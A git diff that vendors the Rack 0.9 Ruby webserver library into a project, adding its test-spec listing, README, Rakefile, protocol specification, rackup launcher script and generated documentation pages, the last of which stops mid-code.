400 Bad Request if different auth scheme used + +== Rack::Auth::Digest::MD5 +* should challenge when no credentials are specified +* should return application output if correct credentials given +* should return application output if correct credentials given (hashed passwords) +* should rechallenge if incorrect username given +* should rechallenge if incorrect password given +* should rechallenge with stale parameter if nonce is stale +* should return 400 Bad Request if incorrect qop given +* should return 400 Bad Request if incorrect uri given +* should return 400 Bad Request if different auth scheme used + +== Rack::Auth::OpenID +* realm uri should be absolute and have a path +* uri options should be absolute +* return_to should be absolute and be under the realm +* extensions should be a module +* extensions should have required constants defined +* extensions should have Request and Response defined and inherit from OpenID::Extension +* extensions should have NS_URI defined and be a string of an absolute http uri + +== Rack::Builder +* chains apps by default +* has implicit #to_app +* supports blocks on use +* has explicit #to_app +* apps are initialized once + +== Rack::Adapter::Camping +* works with GET +* works with POST + +== Rack::Cascade +* should dispatch onward on 404 by default +* should dispatch onward on whatever is passed +* should fail if empty +* should append new app + +== Rack::Handler::CGI +* startup (empty) +* should respond +* should be a lighttpd +* should have rack headers +* should have CGI headers on GET +* should have CGI headers on POST +* should support HTTP auth +* should set status +* shutdown + +== Rack::CommonLogger +* should log to rack.errors by default +* should log to anything with << + +== Rack::ConditionalGet +* should set a 304 status and truncate body when If-Modified-Since hits +* should set a 304 status and truncate body when If-None-Match hits +* should not affect non-GET/HEAD requests + +== Rack::ContentLength +* sets Content-Length on String bodies if none is set +* sets Content-Length on Array bodies if none is set +* does not set Content-Length on variable length bodies +* does not change Content-Length if it is already set +* does not set Content-Length on 304 responses +* does not set Content-Length when Transfer-Encoding is chunked + +== Rack::Deflater +* should be able to deflate bodies that respond to each +* should be able to deflate String bodies +* should be able to gzip bodies that respond to each +* should be able to fallback to no deflation +* should be able to skip when there is no response entity body +* should handle the lack of an acceptable encoding +* should handle gzip response with Last-Modified header +* should do nothing when no-transform Cache-Control directive present + +== Rack::Directory +* serves directory indices +* passes to app if file found +* serves uri with URL encoded filenames +* does not allow directory traversal +* 404s if it can't find the file + +== Rack::Handler::FastCGI +* startup (empty) +* should respond +* should be a lighttpd +* should have rack headers +* should have CGI headers on GET +* should have CGI headers on POST +* should support HTTP auth +* should set status +* shutdown + +== Rack::File +* serves files +* sets Last-Modified header +* serves files with URL encoded filenames +* does not allow directory traversal +* does not allow directory traversal with encoded periods +* 404s if it can't find the file +* detects SystemCallErrors + +== Rack::Handler +* has registered default handlers +* should get unregistered handler by name +* should register custom handler + +== Rack::Head +* response (empty) +* passes GET, POST, PUT, DELETE, OPTIONS, TRACE requests +* removes body from HEAD requests + +== Rack::Lint +* passes valid request +* notices fatal errors +* notices environment errors +* notices input errors +* notices error errors +* notices status errors +* notices header errors +* notices content-type errors +* notices content-length errors +* notices body errors +* notices input handling errors +* notices error handling errors +* notices HEAD errors + +== Rack::Lint::InputWrapper +* delegates :size to underlying IO object +* delegates :rewind to underlying IO object + +== Rack::Lobster::LambdaLobster +* should be a single lambda +* should look like a lobster +* should be flippable + +== Rack::Lobster +* should look like a lobster +* should be flippable +* should provide crashing for testing purposes + +== Rack::MethodOverride +* should not affect GET requests +* _method parameter should modify REQUEST_METHOD for POST requests +* X-HTTP-Method-Override header should modify REQUEST_METHOD for POST requests +* should not modify REQUEST_METHOD if the method is unknown +* should not modify REQUEST_METHOD when _method is nil +* should store the original REQUEST_METHOD prior to overriding + +== Rack::MockRequest +* should return a MockResponse +* should be able to only return the environment +* should provide sensible defaults +* should allow GET/POST/PUT/DELETE +* should allow posting +* should use all parts of an URL +* should behave valid according to the Rack spec + +== Rack::MockResponse +* should provide access to the HTTP status +* should provide access to the HTTP headers +* should provide access to the HTTP body +* should provide access to the Rack errors +* should optionally make Rack errors fatal + +== Rack::Handler::Mongrel +* should respond +* should be a Mongrel +* should have rack headers +* should have CGI headers on GET +* should have CGI headers on POST +* should support HTTP auth +* should set status +* should provide a .run +* should provide a .run that maps a hash +* should provide a .run that maps a urlmap +* should provide a .run that maps a urlmap restricting by host +* should stream #each part of the response + +== Rack::Recursive +* should allow for subrequests +* should raise error on requests not below the app +* should support forwarding + +== Rack::Request +* wraps the rack variables +* can figure out the correct host +* can parse the query string +* can parse POST data +* can parse POST data with explicit content type +* does not parse POST data when media type is not form-data +* rewinds input after parsing POST data +* does not rewind unwindable CGI input +* can get value by key from params with #[] +* can set value to key on params with #[]= +* values_at answers values by keys in order given +* referrer should be extracted correct +* can cache, but invalidates the cache +* can figure out if called via XHR +* can parse cookies +* parses cookies according to RFC 2109 +* provides setters +* provides the original env +* can restore the URL +* can restore the full path +* can handle multiple media type parameters +* can parse multipart form data +* can parse big multipart form data +* can detect invalid multipart form data +* should work around buggy 1.8.* Tempfile equality +* does conform to the Rack spec +* should parse Accept-Encoding correctly +* should provide ip information + +== Rack::Response +* has sensible default values +* can be written to +* can set and read headers +* can set cookies +* formats the Cookie expiration date accordingly to RFC 2109 +* can set secure cookies +* can delete cookies +* has a useful constructor +* has a constructor that can take a block +* doesn't return invalid responses +* knows if it's empty +* should provide access to the HTTP status +* should provide access to the HTTP headers + +== Rack::Session::Cookie +* creates a new cookie +* loads from a cookie +* survives broken cookies +* barks on too big cookies +* creates a new cookie with integrity hash +* loads from a cookie wih integrity hash +* ignores tampered with session cookies + +== Rack::Session::Memcache +* startup (empty) +* faults on no connection +* creates a new cookie +* determines session from a cookie +* survives broken cookies +* maintains freshness +* multithread: should cleanly merge sessions +* shutdown + +== Rack::Session::Pool +* creates a new cookie +* determines session from a cookie +* survives broken cookies +* maintains freshness +* multithread: should merge sessions + +== Rack::ShowExceptions +* catches exceptions + +== Rack::ShowStatus +* should provide a default status message +* should let the app provide additional information +* should not replace existing messages +* should pass on original headers +* should replace existing messages if there is detail + +== Rack::Static +* serves files +* 404s if url root is known but it can't find the file +* calls down the chain if url root is not known + +== Rack::Handler::Thin +* should respond +* should be a Thin +* should have rack headers +* should have CGI headers on GET +* should have CGI headers on POST +* should support HTTP auth +* should set status + +== Rack::URLMap +* dispatches paths correctly +* dispatches hosts correctly +* should be nestable +* should route root apps correctly + +== Rack::Utils +* should escape correctly +* should unescape correctly +* should parse query strings correctly +* should build query strings correctly +* should figure out which encodings are acceptable + +== Rack::Utils::HeaderHash +* should retain header case +* should check existence of keys case insensitively +* should merge case-insensitively +* should overwrite case insensitively and assume the new key's case +* should be converted to real Hash + +== Rack::Utils::Context +* should perform checks on both arguments +* should set context correctly +* should alter app on recontexting +* should run different apps + +== Rack::Handler::WEBrick +* should respond +* should be a WEBrick +* should have rack headers +* should have CGI headers on GET +* should have CGI headers on POST +* should support HTTP auth +* should set status +* should correctly set cookies +* should provide a .run + +244 specifications, 4 empty (1004 requirements), 0 failures diff --git a/vendor/plugins/rack/README b/vendor/plugins/rack/README new file mode 100644 index 00000000..a4f45ab4 --- /dev/null +++ b/vendor/plugins/rack/README @@ -0,0 +1,306 @@ += Rack, a modular Ruby webserver interface + +Rack provides a minimal, modular and adaptable interface for developing +web applications in Ruby. By wrapping HTTP requests and responses in +the simplest way possible, it unifies and distills the API for web +servers, web frameworks, and software in between (the so-called +middleware) into a single method call. + +The exact details of this are described in the Rack specification, +which all Rack applications should conform to. + +== Supported web servers + +The included *handlers* connect all kinds of web servers to Rack: +* Mongrel +* EventedMongrel +* SwiftipliedMongrel +* WEBrick +* FCGI +* CGI +* SCGI +* LiteSpeed +* Thin + +These web servers include Rack handlers in their distributions: +* Ebb +* Fuzed +* Phusion Passenger (which is mod_rack for Apache) + +Any valid Rack app will run the same on all these handlers, without +changing anything. + +== Supported web frameworks + +The included *adapters* connect Rack with existing Ruby web frameworks: +* Camping + +These frameworks include Rack adapters in their distributions: +* Coset +* Halcyon +* Mack +* Maveric +* Merb +* Racktools::SimpleApplication +* Ramaze +* Ruby on Rails +* Sinatra +* Sin +* Vintage +* Waves + +Current links to these projects can be found at +http://ramaze.net/#other-frameworks + +== Available middleware + +Between the server and the framework, Rack can be customized to your +applications needs using middleware, for example: +* Rack::URLMap, to route to multiple applications inside the same process. +* Rack::CommonLogger, for creating Apache-style logfiles. +* Rack::ShowException, for catching unhandled exceptions and + presenting them in a nice and helpful way with clickable backtrace. +* Rack::File, for serving static files. +* ...many others! + +All these components use the same interface, which is described in +detail in the Rack specification. These optional components can be +used in any way you wish. + +== Convenience + +If you want to develop outside of existing frameworks, implement your +own ones, or develop middleware, Rack provides many helpers to create +Rack applications quickly and without doing the same web stuff all +over: +* Rack::Request, which also provides query string parsing and + multipart handling. +* Rack::Response, for convenient generation of HTTP replies and + cookie handling. +* Rack::MockRequest and Rack::MockResponse for efficient and quick + testing of Rack application without real HTTP round-trips. + +== rack-contrib + +The plethora of useful middleware created the need for a project that +collects fresh Rack middleware. rack-contrib includes a variety of +add-on components for Rack and it is easy to contribute new modules. + +* http://github.com/rack/rack-contrib + +== rackup + +rackup is a useful tool for running Rack applications, which uses the +Rack::Builder DSL to configure middleware and build up applications +easily. + +rackup automatically figures out the environment it is run in, and +runs your application as FastCGI, CGI, or standalone with Mongrel or +WEBrick---all from the same configuration. + +== Quick start + +Try the lobster! + +Either with the embedded WEBrick starter: + + ruby -Ilib lib/rack/lobster.rb + +Or with rackup: + + bin/rackup -Ilib example/lobster.ru + +By default, the lobster is found at http://localhost:9292. + +== Installing with RubyGems + +A Gem of Rack is available. You can install it with: + + gem install rack + +I also provide a local mirror of the gems (and development snapshots) +at my site: + + gem install rack --source http://chneukirchen.org/releases/gems/ + +== Running the tests + +Testing Rack requires the test/spec testing framework: + + gem install test-spec + +There are two rake-based test tasks: + + rake test tests all the fast tests (no Handlers or Adapters) + rake fulltest runs all the tests + +The fast testsuite has no dependencies outside of the core Ruby +installation and test-spec. + +To run the test suite completely, you need: + + * camping + * mongrel + * fcgi + * ruby-openid + * memcache-client + +The full set of tests test FCGI access with lighttpd (on port +9203) so you will need lighttpd installed as well as the FCGI +libraries and the fcgi gem: + +Download and install lighttpd: + + http://www.lighttpd.net/download + +Installing the FCGI libraries: + + curl -O http://www.fastcgi.com/dist/fcgi-2.4.0.tar.gz + tar xzvf fcgi-2.4.0.tar.gz + cd fcgi-2.4.0 + ./configure --prefix=/usr/local + make + sudo make install + cd .. + +Installing the Ruby fcgi gem: + + gem install fcgi + +Furthermore, to test Memcache sessions, you need memcached (will be +run on port 11211) and memcache-client installed. + +== History + +* March 3rd, 2007: First public release 0.1. + +* May 16th, 2007: Second public release 0.2. + * HTTP Basic authentication. + * Cookie Sessions. + * Static file handler. + * Improved Rack::Request. + * Improved Rack::Response. + * Added Rack::ShowStatus, for better default error messages. + * Bug fixes in the Camping adapter. + * Removed Rails adapter, was too alpha. + +* February 26th, 2008: Third public release 0.3. + * LiteSpeed handler, by Adrian Madrid. + * SCGI handler, by Jeremy Evans. + * Pool sessions, by blink. + * OpenID authentication, by blink. + * :Port and :File options for opening FastCGI sockets, by blink. + * Last-Modified HTTP header for Rack::File, by blink. + * Rack::Builder#use now accepts blocks, by Corey Jewett. + (See example/protectedlobster.ru) + * HTTP status 201 can contain a Content-Type and a body now. + * Many bugfixes, especially related to Cookie handling. + +* August 21st, 2008: Fourth public release 0.4. + * New middleware, Rack::Deflater, by Christoffer Sawicki. + * OpenID authentication now needs ruby-openid 2. + * New Memcache sessions, by blink. + * Explicit EventedMongrel handler, by Joshua Peek + * Rack::Reloader is not loaded in rackup development mode. + * rackup can daemonize with -D. + * Many bugfixes, especially for pool sessions, URLMap, thread safety + and tempfile handling. + * Improved tests. + * Rack moved to Git. + +* January 6th, 2009: Fifth public release 0.9. + * Rack is now managed by the Rack Core Team. + * Rack::Lint is stricter and follows the HTTP RFCs more closely. + * Added ConditionalGet middleware. + * Added ContentLength middleware. + * Added Deflater middleware. + * Added Head middleware. + * Added MethodOverride middleware. + * Rack::Mime now provides popular MIME-types and their extension. + * Mongrel Header now streams. + * Added Thin handler. + * Official support for swiftiplied Mongrel. + * Secure cookies. + * Made HeaderHash case-preserving. + * Many bugfixes and small improvements. + +* January 9th, 2009: Sixth public release 0.9.1. + * Fix directory traversal exploits in Rack::File and Rack::Directory. + +== Contact + +Please mail bugs, suggestions and patches to +. + +Mailing list archives are available at +. + +There is a bug tracker at . + +Git repository (patches rebased on master are most welcome): +* http://github.com/rack/rack +* http://git.vuxu.org/cgi-bin/gitweb.cgi?p=rack.git + +You are also welcome to join the #rack channel on irc.freenode.net. + +== Thanks + +The Rack Core Team, consisting of + +* Christian Neukirchen (chneukirchen) +* James Tucker (raggi) +* Josh Peek (josh) +* Michael Fellinger (manveru) +* Ryan Tomayko (rtomayko) +* Scytrin dai Kinthra (scytrin) + +would like to thank: + +* Adrian Madrid, for the LiteSpeed handler. +* Christoffer Sawicki, for the first Rails adapter and Rack::Deflater. +* Tim Fletcher, for the HTTP authentication code. +* Luc Heinrich for the Cookie sessions, the static file handler and bugfixes. +* Armin Ronacher, for the logo and racktools. +* Aredridel, Ben Alpert, Dan Kubb, Daniel Roethlisberger, Matt Todd, + Tom Robinson, and Phil Hagelberg for bug fixing and other + improvements. +* Stephen Bannasch, for bug reports and documentation. +* Gary Wright, for proposing a better Rack::Response interface. +* Jonathan Buch, for improvements regarding Rack::Response. +* Armin Röhrl, for tracking down bugs in the Cookie generator. +* Alexander Kellett for testing the Gem and reviewing the announcement. +* Marcus Rückert, for help with configuring and debugging lighttpd. +* The WSGI team for the well-done and documented work they've done and + Rack builds up on. +* All bug reporters and patch contributers not mentioned above. + +== Copyright + +Copyright (C) 2007, 2008, 2009 Christian Neukirchen + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to +deal in the Software without restriction, including without limitation the +rights to use, copy, modify, merge, publish, distribute, sublicense, and/or +sell copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER +IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN +CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + +== Links + +Rack:: +Rack's Rubyforge project:: +Official Rack repositories:: +rack-devel mailing list:: + +Christian Neukirchen:: + diff --git a/vendor/plugins/rack/Rakefile b/vendor/plugins/rack/Rakefile new file mode 100644 index 00000000..5f3da93c --- /dev/null +++ b/vendor/plugins/rack/Rakefile @@ -0,0 +1,188 @@ +# Rakefile for Rack. -*-ruby-*- +require 'rake/rdoctask' +require 'rake/testtask' + + +desc "Run all the tests" +task :default => [:test] + +desc "Do predistribution stuff" +task :predist => [:chmod, :changelog, :rdoc] + + +desc "Make an archive as .tar.gz" +task :dist => [:fulltest, :predist] do + sh "git archive --format=tar --prefix=#{release}/ HEAD^{tree} >#{release}.tar" + sh "pax -waf #{release}.tar -s ':^:#{release}/:' RDOX SPEC ChangeLog doc" + sh "gzip -f -9 #{release}.tar" +end + +# Helper to retrieve the "revision number" of the git tree. +def git_tree_version + if File.directory?(".git") + @tree_version ||= `git describe`.strip.sub('-', '.') + @tree_version << ".0" unless @tree_version.count('.') == 2 + else + $: << "lib" + require 'rack' + @tree_version = Rack.release + end + @tree_version +end + +def gem_version + git_tree_version.gsub(/-.*/, '') +end + +def release + "rack-#{git_tree_version}" +end + +def manifest + `git ls-files`.split("\n") +end + + +desc "Make binaries executable" +task :chmod do + Dir["bin/*"].each { |binary| File.chmod(0775, binary) } + Dir["test/cgi/test*"].each { |binary| File.chmod(0775, binary) } +end + +desc "Generate a ChangeLog" +task :changelog do + File.open("ChangeLog", "w") { |out| + `git log -z`.split("\0").map { |chunk| + author = chunk[/Author: (.*)/, 1].strip + date = chunk[/Date: (.*)/, 1].strip + desc, detail = $'.strip.split("\n", 2) + detail ||= "" + detail = detail.gsub(/.*darcs-hash:.*/, '') + detail.rstrip! + out.puts "#{date} #{author}" + out.puts " * #{desc.strip}" + out.puts detail unless detail.empty? + out.puts + } + } +end + + +desc "Generate RDox" +task "RDOX" do + sh "specrb -Ilib:test -a --rdox >RDOX" +end + +desc "Generate Rack Specification" +task "SPEC" do + File.open("SPEC", "wb") { |file| + IO.foreach("lib/rack/lint.rb") { |line| + if line =~ /## (.*)/ + file.puts $1 + end + } + } +end + +desc "Run all the fast tests" +task :test do + sh "specrb -Ilib:test -w #{ENV['TEST'] || '-a'} #{ENV['TESTOPTS'] || '-t "^(?!Rack::Handler|Rack::Adapter|Rack::Session::Memcache|Rack::Auth::OpenID)"'}" +end + +desc "Run all the tests" +task :fulltest => [:chmod] do + sh "specrb -Ilib:test -w #{ENV['TEST'] || '-a'} #{ENV['TESTOPTS']}" +end + +begin + require 'rubygems' + + require 'rake' + require 'rake/clean' + require 'rake/packagetask' + require 'rake/gempackagetask' + require 'fileutils' +rescue LoadError + # Too bad. +else + spec = Gem::Specification.new do |s| + s.name = "rack" + s.version = gem_version + s.platform = Gem::Platform::RUBY + s.summary = "a modular Ruby webserver interface" + + s.description = <<-EOF +Rack provides minimal, modular and adaptable interface for developing +web applications in Ruby. By wrapping HTTP requests and responses in +the simplest way possible, it unifies and distills the API for web +servers, web frameworks, and software in between (the so-called +middleware) into a single method call. + +Also see http://rack.rubyforge.org. + EOF + + s.files = manifest + %w(SPEC RDOX) + s.bindir = 'bin' + s.executables << 'rackup' + s.require_path = 'lib' + s.has_rdoc = true + s.extra_rdoc_files = ['README', 'SPEC', 'RDOX', 'KNOWN-ISSUES'] + s.test_files = Dir['test/{test,spec}_*.rb'] + + s.author = 'Christian Neukirchen' + s.email = 'chneukirchen@gmail.com' + s.homepage = 'http://rack.rubyforge.org' + s.rubyforge_project = 'rack' + + s.add_development_dependency 'test-spec' + + s.add_development_dependency 'camping' + s.add_development_dependency 'fcgi' + s.add_development_dependency 'memcache-client' + s.add_development_dependency 'mongrel' + s.add_development_dependency 'ruby-openid', '~> 2.0.0' + s.add_development_dependency 'thin' + end + + Rake::GemPackageTask.new(spec) do |p| + p.gem_spec = spec + p.need_tar = false + p.need_zip = false + end +end + +desc "Generate RDoc documentation" +Rake::RDocTask.new(:rdoc) do |rdoc| + rdoc.options << '--line-numbers' << '--inline-source' << + '--main' << 'README' << + '--title' << 'Rack Documentation' << + '--charset' << 'utf-8' + rdoc.rdoc_dir = "doc" + rdoc.rdoc_files.include 'README' + rdoc.rdoc_files.include 'KNOWN-ISSUES' + rdoc.rdoc_files.include 'SPEC' + rdoc.rdoc_files.include 'RDOX' + rdoc.rdoc_files.include('lib/rack.rb') + rdoc.rdoc_files.include('lib/rack/*.rb') + rdoc.rdoc_files.include('lib/rack/*/*.rb') +end +task :rdoc => ["SPEC", "RDOX"] + +task :pushsite => [:rdoc] do + sh "rsync -avz doc/ chneukirchen@rack.rubyforge.org:/var/www/gforge-projects/rack/doc/" + sh "rsync -avz site/ chneukirchen@rack.rubyforge.org:/var/www/gforge-projects/rack/" +end + +begin + require 'rcov/rcovtask' + + Rcov::RcovTask.new do |t| + t.test_files = FileList['test/{spec,test}_*.rb'] + t.verbose = true # uncomment to see the executed command + t.rcov_opts = ["--text-report", + "-Ilib:test", + "--include-file", "^lib,^test", + "--exclude-only", "^/usr,^/home/.*/src,active_"] + end +rescue LoadError +end diff --git a/vendor/plugins/rack/SPEC b/vendor/plugins/rack/SPEC new file mode 100644 index 00000000..1f6c3434 --- /dev/null +++ b/vendor/plugins/rack/SPEC @@ -0,0 +1,129 @@ +This specification aims to formalize the Rack protocol. You +can (and should) use Rack::Lint to enforce it. +When you develop middleware, be sure to add a Lint before and +after to catch all mistakes. += Rack applications +A Rack application is an Ruby object (not a class) that +responds to +call+. +It takes exactly one argument, the *environment* +and returns an Array of exactly three values: +The *status*, +the *headers*, +and the *body*. +== The Environment +The environment must be an true instance of Hash (no +subclassing allowed) that includes CGI-like headers. +The application is free to modify the environment. +The environment is required to include these variables +(adopted from PEP333), except when they'd be empty, but see +below. +REQUEST_METHOD:: The HTTP request method, such as + "GET" or "POST". This cannot ever + be an empty string, and so is + always required. +SCRIPT_NAME:: The initial portion of the request + URL's "path" that corresponds to the + application object, so that the + application knows its virtual + "location". This may be an empty + string, if the application corresponds + to the "root" of the server. +PATH_INFO:: The remainder of the request URL's + "path", designating the virtual + "location" of the request's target + within the application. This may be an + empty string, if the request URL targets + the application root and does not have a + trailing slash. +QUERY_STRING:: The portion of the request URL that + follows the ?, if any. May be + empty, but is always required! +SERVER_NAME, SERVER_PORT:: When combined with SCRIPT_NAME and PATH_INFO, these variables can be used to complete the URL. Note, however, that HTTP_HOST, if present, should be used in preference to SERVER_NAME for reconstructing the request URL. SERVER_NAME and SERVER_PORT can never be empty strings, and so are always required. +HTTP_ Variables:: Variables corresponding to the + client-supplied HTTP request + headers (i.e., variables whose + names begin with HTTP_). The + presence or absence of these + variables should correspond with + the presence or absence of the + appropriate HTTP header in the + request. +In addition to this, the Rack environment must include these +Rack-specific variables: +rack.version:: The Array [0,1], representing this version of Rack. +rack.url_scheme:: +http+ or +https+, depending on the request URL. +rack.input:: See below, the input stream. +rack.errors:: See below, the error stream. +rack.multithread:: true if the application object may be simultaneously invoked by another thread in the same process, false otherwise. +rack.multiprocess:: true if an equivalent application object may be simultaneously invoked by another process, false otherwise. +rack.run_once:: true if the server expects (but does not guarantee!) that the application will only be invoked this one time during the life of its containing process. Normally, this will only be true for a server based on CGI (or something similar). +The server or the application can store their own data in the +environment, too. The keys must contain at least one dot, +and should be prefixed uniquely. The prefix rack. +is reserved for use with the Rack core distribution and must +not be used otherwise. +The environment must not contain the keys +HTTP_CONTENT_TYPE or HTTP_CONTENT_LENGTH +(use the versions without HTTP_). +The CGI keys (named without a period) must have String values. +There are the following restrictions: +* rack.version must be an array of Integers. +* rack.url_scheme must either be +http+ or +https+. +* There must be a valid input stream in rack.input. +* There must be a valid error stream in rack.errors. +* The REQUEST_METHOD must be a valid token. +* The SCRIPT_NAME, if non-empty, must start with / +* The PATH_INFO, if non-empty, must start with / +* The CONTENT_LENGTH, if given, must consist of digits only. +* One of SCRIPT_NAME or PATH_INFO must be + set. PATH_INFO should be / if + SCRIPT_NAME is empty. + SCRIPT_NAME never should be /, but instead be empty. +=== The Input Stream +The input stream must respond to +gets+, +each+ and +read+. +* +gets+ must be called without arguments and return a string, + or +nil+ on EOF. +* +read+ must be called without or with one integer argument + and return a string, or +nil+ on EOF. +* +each+ must be called without arguments and only yield Strings. +* +close+ must never be called on the input stream. +=== The Error Stream +The error stream must respond to +puts+, +write+ and +flush+. +* +puts+ must be called with a single argument that responds to +to_s+. +* +write+ must be called with a single argument that is a String. +* +flush+ must be called without arguments and must be called + in order to make the error appear for sure. +* +close+ must never be called on the error stream. +== The Response +=== The Status +The status, if parsed as integer (+to_i+), must be greater than or equal to 100. +=== The Headers +The header must respond to each, and yield values of key and value. +The header keys must be Strings. +The header must not contain a +Status+ key, +contain keys with : or newlines in their name, +contain keys names that end in - or _, +but only contain keys that consist of +letters, digits, _ or - and start with a letter. +The values of the header must respond to #each. +The values passed on #each must be Strings +and not contain characters below 037. +=== The Content-Type +There must be a Content-Type, except when the ++Status+ is 1xx, 204 or 304, in which case there must be none +given. +=== The Content-Length +There must be a Content-Length, except when the ++Status+ is 1xx, 204 or 304, in which case there must be none +given. +=== The Body +The Body must respond to #each +and must only yield String values. +If the Body responds to #close, it will be called after iteration. +The Body commonly is an Array of Strings, the application +instance itself, or a File-like object. +== Thanks +Some parts of this specification are adopted from PEP333: Python +Web Server Gateway Interface +v1.0 (http://www.python.org/dev/peps/pep-0333/). I'd like to thank +everyone involved in that effort. diff --git a/vendor/plugins/rack/bin/rackup b/vendor/plugins/rack/bin/rackup new file mode 100755 index 00000000..e06efd41 --- /dev/null +++ b/vendor/plugins/rack/bin/rackup @@ -0,0 +1,172 @@ +#!/usr/bin/env ruby +# -*- ruby -*- + +require 'optparse' + +automatic = false +server = nil +env = "development" +daemonize = false +pid = nil +options = {:Port => 9292, :Host => "0.0.0.0", :AccessLog => []} + +opts = OptionParser.new("", 24, ' ') { |opts| + opts.banner = "Usage: rackup [ruby options] [rack options] [rackup config]" + + opts.separator "" + opts.separator "Ruby options:" + + lineno = 1 + opts.on("-e", "--eval LINE", "evaluate a LINE of code") { |line| + eval line, TOPLEVEL_BINDING, "-e", lineno + lineno += 1 + } + + opts.on("-d", "--debug", "set debugging flags (set $DEBUG to true)") { + $DEBUG = true + } + opts.on("-w", "--warn", "turn warnings on for your script") { + $-w = true + } + + opts.on("-I", "--include PATH", + "specify $LOAD_PATH (may be used more than once)") { |path| + $LOAD_PATH.unshift(*path.split(":")) + } + + opts.on("-r", "--require LIBRARY", + "require the library, before executing your script") { |library| + require library + } + + opts.separator "" + opts.separator "Rack options:" + opts.on("-s", "--server SERVER", "serve using SERVER (webrick/mongrel)") { |s| + server = s + } + + opts.on("-o", "--host HOST", "listen on HOST (default: 0.0.0.0)") { |host| + options[:Host] = host + } + + opts.on("-p", "--port PORT", "use PORT (default: 9292)") { |port| + options[:Port] = port + } + + opts.on("-E", "--env ENVIRONMENT", "use ENVIRONMENT for defaults (default: development)") { |e| + env = e + } + + opts.on("-D", "--daemonize", "run daemonized in the background") { |d| + daemonize = d ? true : false + } + + opts.on("-P", "--pid FILE", "file to store PID (default: rack.pid)") { |f| + pid = File.expand_path(f) + } + + opts.separator "" + opts.separator "Common options:" + + opts.on_tail("-h", "--help", "Show this message") do + puts opts + exit + end + + opts.on_tail("--version", "Show version") do + require 'rack' + puts "Rack #{Rack.version}" + exit + end + + opts.parse! ARGV +} + +require 'pp' if $DEBUG + +config = ARGV[0] || "config.ru" +if !File.exist? config + abort "configuration #{config} not found" +end + +if config =~ /\.ru$/ + cfgfile = File.read(config) + if cfgfile[/^#\\(.*)/] + opts.parse! $1.split(/\s+/) + end + require 'rack' + inner_app = eval "Rack::Builder.new {( " + cfgfile + "\n )}.to_app", + nil, config +else + require 'rack' + require config + inner_app = Object.const_get(File.basename(config, '.rb').capitalize) +end + +unless server = Rack::Handler.get(server) + # Guess. + if ENV.include?("PHP_FCGI_CHILDREN") + server = Rack::Handler::FastCGI + + # We already speak FastCGI + options.delete :File + options.delete :Port + elsif ENV.include?("REQUEST_METHOD") + server = Rack::Handler::CGI + else + begin + server = Rack::Handler::Mongrel + rescue LoadError => e + server = Rack::Handler::WEBrick + end + end +end + +p server if $DEBUG + +case env +when "development" + app = Rack::Builder.new { + use Rack::CommonLogger, STDERR unless server.name =~ /CGI/ + use Rack::ShowExceptions + use Rack::Lint + run inner_app + }.to_app + +when "deployment" + app = Rack::Builder.new { + use Rack::CommonLogger, STDERR unless server.name =~ /CGI/ + run inner_app + }.to_app + +when "none" + app = inner_app + +end + +if $DEBUG + pp app + pp inner_app +end + +if daemonize + if RUBY_VERSION < "1.9" + exit if fork + Process.setsid + exit if fork + Dir.chdir "/" + File.umask 0000 + STDIN.reopen "/dev/null" + STDOUT.reopen "/dev/null", "a" + STDERR.reopen "/dev/null", "a" + else + Process.daemon + end + + if pid + File.open(pid, 'w'){ |f| f.write("#{Process.pid}") } + at_exit { File.delete(pid) if File.exist?(pid) } + end +end + +server.run app, options diff --git a/vendor/plugins/rack/contrib/rack_logo.svg b/vendor/plugins/rack/contrib/rack_logo.svg new file mode 100644 index 00000000..905dcd32 --- /dev/null +++ b/vendor/plugins/rack/contrib/rack_logo.svg @@ -0,0 +1,111 @@ + + + + + + + + + image/svg+xml + + + + + + + + + + + + + + + + + + diff --git a/vendor/plugins/rack/doc/classes/L2.html b/vendor/plugins/rack/doc/classes/L2.html new file mode 100644 index 00000000..4e2bbda6 --- /dev/null +++ b/vendor/plugins/rack/doc/classes/L2.html @@ -0,0 +1,149 @@ + + + + + + Class: L2 + + + + + + + + + + +
+ + + + + + + + + + + + + + +
ClassL2
In: + + lib/rack/forward.rb + +
+
Parent: + + Rack::Lobster + +
+
+ + +
+ + + + +
+ + + + + + + + + +
+

Public Instance methods

+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/forward.rb, line 47
+47:   def call(env)
+48:     s,h,b = super
+49:     [s,h.merge("env" => env.inspect),b]
+50:   end
+
+
+
+
+ + +
+ + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack.html b/vendor/plugins/rack/doc/classes/Rack.html new file mode 100644 index 00000000..093a27f2 --- /dev/null +++ b/vendor/plugins/rack/doc/classes/Rack.html @@ -0,0 +1,438 @@ + + + + + + Module: Rack + + + + + + + + + + + + + +
+ + + +
+ +
+

+require ‘cgi‘ +

+ +
+ + +
+ +
+

Methods

+ +
+ call   + release   + version   +
+
+ +
+ + + + +
+ + + +
+

Constants

+ +
+ + + + + + + + +
VERSION=[0,1]  +The Rack protocol version number implemented. + +
+
+
+ + + + + + + +
+

Public Class methods

+ +
+ + + + +
+

+Return the Rack release as a dotted string. +

+

[Source]

+
+
+    # File lib/rack.rb, line 25
+25:   def self.release
+26:     "0.9"
+27:   end
+
+
+
+
+ +
+ + + + +
+

+Return the Rack protocol version as a dotted string. +

+

[Source]

+
+
+    # File lib/rack.rb, line 20
+20:   def self.version
+21:     VERSION.join(".")
+22:   end
+
+
+
+
+ +

Public Instance methods

+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/lobster.rb, line 32
+32:     def call(env)
+33:       req = Request.new(env)
+34:       if req.GET["flip"] == "left"
+35:         lobster = LobsterString.split("\n").
+36:           map { |line| line.ljust(42).reverse }.
+37:           join("\n")
+38:         href = "?flip=right"
+39:       elsif req.GET["flip"] == "crash"
